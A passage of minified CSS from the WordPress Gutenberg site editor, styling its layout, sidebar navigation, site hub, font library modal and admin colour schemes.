1rem;text-align:right}.edit-site-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-site-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-site-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.edit-site-layout{background:#1e1e1e;color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout__hub{height:60px;left:0;position:fixed;top:0;width:calc(100vw - 32px);z-index:3}@media (min-width:782px){.edit-site-layout__hub{width:336px}}.edit-site-layout.is-full-canvas .edit-site-layout__hub{border-radius:0;box-shadow:none;padding-right:0;width:60px}.edit-site-layout__header-container{z-index:4}.edit-site-layout__header{display:flex;height:60px;z-index:2}.edit-site-layout:not(.is-full-canvas) .edit-site-layout__header{position:fixed;width:100vw}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:360px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;left:0;position:fixed!important;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{right:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__mobile{position:relative;width:100%;z-index:2}.edit-site-layout__canvas-container{flex-grow:1;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;left:0;position:absolute;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas>div{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:16px;top:16px;width:calc(100% - 16px)}.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .edit-site-visual-editor__editor-canvas,.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .interface-interface-skeleton__content,.edit-site-layout__canvas>div{border-radius:8px}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout.is-full-canvas .edit-site-layout__canvas>div{border-radius:0}.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-template-pages-preview{height:100%}.edit-site-layout__view-mode-toggle.components-button{align-items:center;border-bottom:1px solid #0000;border-radius:0;color:#fff;display:flex;height:60px;justify-content:center;overflow:hidden;padding:0;position:relative;width:60px}.edit-site-layout.is-full-canvas .edit-site-layout__view-mode-toggle.components-button{border-bottom-color:#e0e0e0;transition:border-bottom-color .15s ease-out .4s}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus{box-shadow:none}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:9px;position:absolute;right:9px;top:9px;transition:box-shadow .1s ease}@media (prefers-reduced-motion:reduce){.edit-site-layout__view-mode-toggle.components-button:before{transition-delay:0s;transition-duration:0s}}.edit-site-layout__view-mode-toggle.components-button:focus:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a,inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;border-radius:2px;display:flex;height:64px;justify-content:center;width:64px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-left:1px solid #ddd}}.edit-site-layout.is-distraction-free .edit-site-layout__header-container{height:60px;left:0;position:absolute;right:0;top:0;width:100%;z-index:4}.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within{opacity:1!important}.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within div{transform:translateX(0) translateY(0) translateZ(0)!important}.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within .edit-site-layout__header{opacity:1!important}.edit-site-layout.is-distraction-free .edit-site-layout__header,.edit-site-layout.is-distraction-free .edit-site-site-hub{position:absolute;top:0;z-index:2}.edit-site-layout.is-distraction-free .edit-site-site-hub{z-index:3}.edit-site-layout.is-distraction-free .edit-site-layout__header{width:100%}.edit-site-layout__area{flex-grow:1;margin:0;overflow:hidden}@media (min-width:782px){.edit-site-layout__area{border-radius:8px;margin:16px 16px 16px 0}}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:20px 16px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{color:#1e1e1e}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{flex-grow:1;overflow-y:auto}.edit-site-sidebar__screen-wrapper{display:flex;flex-direction:column;height:100%;padding:0 12px;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:stable;scrollbar-width:thin;will-change:transform}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{background-color:initial}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{scrollbar-color:#757575 #0000}@media (hover:none){.edit-site-sidebar__screen-wrapper{scrollbar-color:#757575 #0000}}.edit-site-sidebar__footer{border-top:1px solid #2f2f2f;flex-shrink:0;margin:0 16px;padding:16px 0}.edit-site-sidebar-button{color:#e0e0e0;flex-shrink:0}.edit-site-sidebar-button:focus:not(:disabled){box-shadow:none;outline:none}.edit-site-sidebar-button:focus-visible:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba));outline:3px solid #0000}.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover,.edit-site-sidebar-button:not([aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{color:#f0f0f0}.edit-site-sidebar-navigation-item.components-item{border:none;border-radius:2px;color:#949494;min-height:40px;padding:8px 6px 8px 16px}.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current]{background:#2f2f2f;color:#e0e0e0}.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current] .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#e0e0e0}.edit-site-sidebar-navigation-item.components-item[aria-current]{background:var(--wp-admin-theme-color);color:#fff}.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#949494}.edit-site-sidebar-navigation-item.components-item.with-suffix{padding-right:16px}.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{cursor:grab;padding:8px 8px 8px 0}.edit-site-sidebar-navigation-screen{display:flex;flex-direction:column;overflow-x:unset!important;position:relative}.edit-site-sidebar-navigation-screen__main{flex-grow:1;margin-bottom:16px}.edit-site-sidebar-navigation-screen__main.has-footer{margin-bottom:0}.edit-site-sidebar-navigation-screen__content{padding:0 16px}.edit-site-sidebar-navigation-screen__content .components-item-group{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen__content .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__content .components-heading{margin-bottom:8px}.edit-site-sidebar-navigation-screen__meta{color:#ccc;margin:0 0 16px 16px}.edit-site-sidebar-navigation-screen__meta .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__page-link{color:#949494;display:inline-block;word-break:break-word}.edit-site-sidebar-navigation-screen__page-link:focus,.edit-site-sidebar-navigation-screen__page-link:hover{color:#fff}.edit-site-sidebar-navigation-screen__page-link .components-external-link__icon{margin-left:4px}.edit-site-sidebar-navigation-screen__title-icon{background:#1e1e1e;margin-bottom:8px;padding-bottom:8px;padding-top:108px;position:sticky;top:0;z-index:1}.edit-site-sidebar-navigation-screen__title{flex-grow:1;overflow-wrap:break-word;padding:6px 0 0}.edit-site-sidebar-navigation-screen__actions{display:flex;flex-shrink:0}@media (min-width:782px){.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container{max-width:292px}}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #1e1e1e}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #f0f0f0}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__footer{background-color:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;gap:0;margin:16px 0 0;padding:16px 0;position:sticky}.edit-site-sidebar__notice{background:#2f2f2f;color:#ddd;margin:24px 0}.edit-site-sidebar__notice.is-dismissible{padding-right:8px}.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]){color:#ccc}.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{color:#fff}.edit-site-sidebar-navigation-screen__input-control{width:100%}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{background:#2f2f2f}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{background:#2f2f2f!important;border-radius:2px;color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{border:4px!important}.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{color:#949494}.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{background:none}.edit-site-sidebar-navigation-screen-details-footer .edit-site-sidebar-navigation-screen-details-footer__icon{margin-left:auto;fill:#949494}.sidebar-navigation__more-menu .components-button{color:#e0e0e0}.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{color:#f0f0f0}.edit-site-sidebar-navigation-screen-page__featured-image-wrapper{background-color:#2f2f2f;border-radius:4px;margin-bottom:16px;min-height:128px}.edit-site-sidebar-navigation-screen-page__featured-image{align-items:center;background-position:50% 50%;background-size:cover;border-radius:2px;color:#949494;display:flex;height:128px;justify-content:center;overflow:hidden;width:100%}.edit-site-sidebar-navigation-screen-page__featured-image img{height:100%;object-fit:cover;object-position:50% 50%;width:100%}.edit-site-sidebar-navigation-screen-page__featured-image-description{font-size:12px}.edit-site-sidebar-navigation-screen-page__excerpt{font-size:12px;margin-bottom:24px}.edit-site-sidebar-navigation-screen-page__modified{color:#949494;margin:0 0 16px 16px}.edit-site-sidebar-navigation-screen-page__modified .components-text{color:#949494}.edit-site-sidebar-navigation-screen-page__status{display:inline-flex}.edit-site-sidebar-navigation-screen-page__status time{display:contents}.edit-site-sidebar-navigation-screen-page__status svg{height:16px;margin-right:8px;width:16px;fill:#f0b849}.edit-site-sidebar-navigation-screen-page__status.has-future-status svg,.edit-site-sidebar-navigation-screen-page__status.has-publish-status svg{fill:#4ab866}.edit-site-sidebar-navigation-screen-templates__templates-group-title.components-item{border-top:1px solid #2f2f2f;color:#e0e0e0;font-size:11px;font-weight:500;padding:24px 6px 16px 16px;text-transform:uppercase}.edit-site-sidebar-navigation-details-screen-panel{margin:24px 0}.edit-site-sidebar-navigation-details-screen-panel:last-of-type{margin-bottom:0}.edit-site-sidebar-navigation-details-screen-panel .edit-site-sidebar-navigation-details-screen-panel__heading{color:#ccc;font-size:11px;font-weight:500;margin-bottom:0;padding:0;text-transform:uppercase}.edit-site-sidebar-navigation-details-screen-panel__label.edit-site-sidebar-navigation-details-screen-panel__label{color:#949494;flex-shrink:0;width:100px}.edit-site-sidebar-navigation-details-screen-panel__value.edit-site-sidebar-navigation-details-screen-panel__value{color:#e0e0e0}.edit-site-sidebar-navigation-screen-pattern__added-by-description{align-items:center;display:flex;justify-content:space-between;margin-top:24px}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author{align-items:center;display:inline-flex}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author img{border-radius:12px}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author svg{fill:#949494}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author-icon{height:24px;margin-right:8px;width:24px}.edit-site-sidebar-navigation-screen-patterns__group{margin-bottom:24px}.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}.edit-site-sidebar-navigation-screen-patterns__group-header{margin-top:16px}.edit-site-sidebar-navigation-screen-patterns__group-header p{color:#949494}.edit-site-sidebar-navigation-screen-patterns__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen-template__added-by-description{align-items:center;display:flex;justify-content:space-between;margin-top:24px}.edit-site-sidebar-navigation-screen-template__added-by-description-author{align-items:center;display:inline-flex}.edit-site-sidebar-navigation-screen-template__added-by-description-author img{border-radius:12px;height:20px;width:20px}.edit-site-sidebar-navigation-screen-template__added-by-description-author svg{fill:#949494}.edit-site-sidebar-navigation-screen-template__added-by-description-author-icon{align-items:center;display:inline-flex;height:24px;justify-content:center;margin-right:4px;width:24px}.edit-site-sidebar-navigation-screen-template__template-area-button{align-items:center;border-radius:4px;color:#fff;display:flex;flex-wrap:nowrap;width:100%}.edit-site-sidebar-navigation-screen-template__template-area-button:focus,.edit-site-sidebar-navigation-screen-template__template-area-button:hover{background:#2f2f2f;color:#fff}.edit-site-sidebar-navigation-screen-template__template-area-label-text{flex-grow:1;margin:0 16px 0 4px}.edit-site-sidebar-navigation-screen-template__template-icon{display:flex}.edit-site-sidebar-navigation-screen-dataviews__group-header{margin-top:32px}.edit-site-sidebar-navigation-screen-dataviews__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-dataviews-dataview-item{border-radius:2px;padding-right:8px}.edit-site-sidebar-dataviews-dataview-item .edit-site-sidebar-dataviews-dataview-item__dropdown-menu{min-width:auto}.edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{background:#2f2f2f;color:#e0e0e0}.edit-site-sidebar-dataviews-dataview-item.is-selected{background:var(--wp-admin-theme-color);color:#fff}.edit-site-site-hub{align-items:center;display:flex;gap:8px;justify-content:space-between}.edit-site-site-hub .edit-site-site-hub__container{gap:0}.edit-site-site-hub .edit-site-site-hub__site-title,.edit-site-site-hub .edit-site-site-hub__site-view-link,.edit-site-site-hub .edit-site-site-hub_toggle-command-center{transition:opacity .1s ease}.edit-site-site-hub .edit-site-site-hub__site-title.is-transparent,.edit-site-site-hub .edit-site-site-hub__site-view-link.is-transparent,.edit-site-site-hub .edit-site-site-hub_toggle-command-center.is-transparent{opacity:0!important}.edit-site-site-hub .edit-site-site-hub__site-view-link{flex-grow:0;margin-right:var(--wp-admin-border-width-focus)}.edit-site-site-hub .edit-site-site-hub__site-view-link svg{fill:#e0e0e0}.edit-site-site-hub__post-type{opacity:.6}.edit-site-site-hub__view-mode-toggle-container{background:#1e1e1e;flex-shrink:0;height:60px;width:60px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background{background:#0000}.edit-site-site-hub__text-content{overflow:hidden}.edit-site-site-hub__title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__site-title{color:#e0e0e0;flex-grow:1}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{fill:#f0f0f0}.edit-site-sidebar-navigation-screen__description{margin:0 0 32px}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf{border-radius:2px;max-width:calc(100% - 4px)}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf[aria-current]{background:#2f2f2f}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block__menu{margin-left:-8px}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected>td{background:#0000}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents{color:inherit}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:not(:hover) .block-editor-list-view-block__menu{opacity:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus .block-editor-list-view-block__menu-cell,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover .block-editor-list-view-block__menu-cell{opacity:1}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){background:#0000}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch):hover{background:#2f2f2f}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{width:100%}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{white-space:normal}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{margin-top:3px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{padding-right:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button[aria-current]{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{display:block;margin-left:auto;margin-right:auto}.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{display:none}.edit-site-site-icon__icon{fill:currentColor;transition:padding .3s ease-out}@media (prefers-reduced-motion:reduce){.edit-site-site-icon__icon{transition-delay:0s;transition-duration:0s}}.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{padding:6px}.edit-site-site-icon__image{background:#333;border-radius:4px;height:100%;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__image{border-radius:0}.edit-site-style-book{height:100%}.edit-site-style-book.is-button,.edit-site-style-book__iframe.is-button{border-radius:8px}.edit-site-style-book__iframe.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-style-book__tabs [role=tablist]{background:#fff;color:#1e1e1e}.edit-site-style-book__tabs [role=tabpanel]{bottom:0;left:0;overflow:auto;padding:0;position:absolute;right:0;top:48px}.edit-site-editor-canvas-container{background:#fff;border-radius:2px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0;transition:all .3s}.edit-site-editor-canvas-container__close-button{background:#fff;position:absolute;right:8px;top:6px;z-index:1}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:#75757566;border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid #0000}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}.edit-site-push-changes-to-global-styles-control .components-button{justify-content:center;width:100%}@media (min-width:782px){.font-library-modal.font-library-modal{width:65vw}}.font-library-modal .components-modal__header{border-bottom:none}.font-library-modal .components-modal__content{margin-bottom:70px;padding-top:0}.font-library-modal .font-library-modal__subtitle{font-size:11px;font-weight:500;text-transform:uppercase}.font-library-modal .components-navigator-screen{padding:3px}.font-library-modal__tabpanel-layout{margin-top:32px}.font-library-modal__tabpanel-layout .font-library-modal__tabpanel-layout__footer{background-color:#fff;border-top:1px solid #ddd;bottom:32px;height:70px;margin:0 -32px -32px;padding:16px 32px;position:absolute;width:100%}.font-library-modal__tabpanel-layout .components-base-control__field{margin-bottom:0}.font-library-modal__font-card{border:1px solid #e0e0e0;height:auto;margin-top:-1px;padding:16px;width:100%}.font-library-modal__font-card:hover{background-color:#f0f0f0}.font-library-modal__font-card .font-library-modal__font-card__name{font-weight:700}.font-library-modal__font-card .font-library-modal__font-card__count{color:#757575}.font-library-modal__font-variant_demo-image{display:block;height:24px;width:auto}.font-library-modal__font-variant_demo-text{flex-shrink:0;transition:opacity .3s ease-in-out;white-space:nowrap}@media (prefers-reduced-motion:reduce){.font-library-modal__font-variant_demo-text{transition-delay:0s;transition-duration:0s}}.font-library-modal__font-variant{border-bottom:1px solid #e0e0e0;padding-bottom:16px}.font-library-modal__tabs [role=tablist]{background:#fff;border-bottom:1px solid #ddd;margin:0 -32px;padding:0 16px;position:sticky;top:0;z-index:1}.font-library-modal__upload-area{align-items:center;display:flex;height:256px;justify-content:center;width:100%}button.font-library-modal__upload-area{background-color:#f0f0f0}.font-library-modal__local-fonts{margin:0 auto;width:80%}.font-library-modal__local-fonts .font-library-modal__upload-area__text{color:#757575}.font-library__google-fonts-confirm{align-items:center;display:flex;justify-content:center;margin-top:64px}.font-library__google-fonts-confirm h3{font-size:1.4rem}.font-library__google-fonts-confirm .components-card{max-width:400px;min-width:350px;width:50%}.edit-site-pagination .components-button.is-tertiary{height:32px;justify-content:center;width:32px}body.js #wpadminbar{display:none}body.js #wpbody{padding-top:0}body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{background:#fff}body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{padding-left:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{display:none}body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{left:-1px;top:-1px}body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}body.js.site-editor-php{background:#1e1e1e}.components-modal__frame,.edit-site{box-sizing:border-box}.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-site *,.edit-site :after,.edit-site :before{box-sizing:inherit}.edit-site{height:100vh}@media (min-width:600px){.edit-site{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js .edit-site{min-height:0;position:static}.edit-site .interface-interface-skeleton{top:0}.edit-site .interface-complementary-area__pin-unpin-item.components-button{display:none}.edit-site .interface-interface-skeleton__content{background-color:#1e1e1e}@keyframes edit-post__fade-in-animation{0%{opacity:0}to{opacity:1}}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media 